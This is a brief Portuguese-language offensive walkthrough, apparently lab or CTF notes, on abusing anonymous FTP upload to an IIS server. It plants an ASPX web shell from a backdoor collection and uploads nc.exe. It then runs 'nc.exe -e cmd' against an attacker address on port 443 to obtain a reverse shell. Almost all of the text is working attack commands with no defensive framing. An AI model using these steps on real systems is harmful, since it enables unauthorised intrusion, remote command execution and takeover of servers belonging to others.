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# FTP - Ataque de Reverse Shell e Web Shell
Abuso de upload de arquivo FTP com uma web shell ASPX e reverse shell do nc.exe.
## **Shell reversa via upload por FTP**
### **Envie um web shell ASPX**
Use um web shell existente, **`cmd.aspx`**, do SecLists:
```bash
localize cmd.aspx
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```
Envie-o para o servidor FTP:
```bash
ftp 10.10.10.5
anonymous
put aspx_cmd.aspx
```
Acesse o web shell por meio do servidor HTTP e execute comandos, por exemplo:
```bash
ipconfig
```
### **Envie o `nc.exe` binário para uma shell reversa**
Baixar **`nc.exe`** do SecLists:
```bash
localize nc.exe
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```
Envie-o para o servidor FTP:
```bash
ftp 10.10.10.5
anonymous
put nc.exe
```
A partir do web shell, localize **`nc.exe`** no servidor alvo:
```powershell
dir /s C:/nc.exe
```
### **Configure a shell reversa**
**Fique em escuta na porta 443:**
Configure um `nc` listener na porta 443:
```bash
rlwrap nc -nvlp 443
```
Da máquina alvo, execute o seguinte comando por meio do web shell:
```powershell
C:/inetpub/wwwroot/nc.exe -e cmd 10.10.14.26 443
```
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